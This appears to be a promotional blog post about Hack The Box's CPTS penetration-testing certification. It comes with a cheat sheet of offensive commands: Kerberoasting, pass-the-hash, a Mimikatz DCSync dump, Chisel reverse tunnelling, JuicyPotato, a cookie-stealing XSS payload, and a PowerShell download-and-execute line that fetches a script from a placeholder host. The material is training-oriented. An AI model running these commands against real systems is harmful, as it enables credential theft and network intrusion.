Certified Penetration Testing Specialist (CPTS) – A Deep Dive into Hack The Box’s Advanced Certification

The Certified Penetration Testing Specialist (CPTS) from Hack The Box is a rigorous certification designed for offensive security professionals. This hands-on course includes 28 detailed modules, covering modern penetration testing techniques, with a strong focus on Active Directory attacks, pivoting, and enterprise network exploitation. The 10-day practical exam challenges candidates to compromise hardened targets and produce professional-grade reports.

🔗 Verify Certification: https://lnkd.in/dCP7kfP2

You Should Know: Essential Commands & Techniques for CPTS

1. Active Directory Exploitation

• Kerberoasting Attack:

  GetUserSPNs.py -request -dc-ip <DC_IP> DOMAIN/USER
  hashcat -m 13100 hashes.txt wordlist.txt
  

• Pass-the-Hash (PtH) with CrackMapExec:

  crackmapexec smb <TARGET_IP> -u <USER> -H <NTLM_HASH> --local-auth
  

• DCSync Attack (Mimikatz):

  lsadump::dcsync /domain:DOMAIN /user:Administrator
  

2. Pivoting & Lateral Movement

• SSH Dynamic Port Forwarding (SOCKS Proxy):

  ssh -D 1080 user@target-ip
  

• Chisel for Tunneling:

  Attacker (Server)
  ./chisel server -p 8080 --reverse
  Victim (Client)
  ./chisel client <ATTACKER_IP>:8080 R:socks
  

• Metasploit Pivoting:

  route add <SUBNET> <SESSION_ID>
  

3. Privilege Escalation (Linux/Windows)

• Linux (SUID Exploit):

  find / -perm -4000 2>/dev/null
  

• Windows (JuicyPotato):

  JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe
  

4. Web Application Attacks

• SQL Injection (SQLmap):

  sqlmap -u "http://target.com/page?id=1" --dbs
  

• XSS Payload Testing:

  <script>alert(document.cookie)</script>
  

What Undercode Say

The CPTS certification is an excellent pathway for mastering real-world penetration testing. Below are additional commands to sharpen skills:

Linux Security & Post-Exploitation

• Check Sudo Permissions:

  sudo -l
  

• Kernel Exploit Check:

  uname -a; searchsploit <kernel_version>
  

Windows Privilege Escalation

• PowerUp.ps1 (PrivEsc Checks):

  IEX(New-Object Net.WebClient).DownloadString("http://<IP>/PowerUp.ps1"); Invoke-AllChecks
  

• BloodHound for AD Enumeration:

  bloodhound-python -d DOMAIN -u USER -p PASSWORD -ns <DC_IP> -c All
  

Network Exploitation

• Nmap Aggressive Scan:

  nmap -A -T4 <TARGET_IP>
  

• Responder (LLMNR Poisoning):

  responder -I eth0 -wrf
  

Expected Output

A successful CPTS candidate should be able to:

✔ Exploit Active Directory environments.

✔ Perform pivoting & lateral movement.

✔ Write professional penetration test reports.

✔ Use advanced tools (Metasploit, CME, BloodHound).

Prediction

As enterprise networks grow more complex, certifications like CPTS will become essential for red teams. Future updates may include more cloud-based attack simulations (AWS/Azure).

Would you like a step-by-step walkthrough of any CPTS module? Let us know! 🚀

References:

Reported By: Robinary Cpts – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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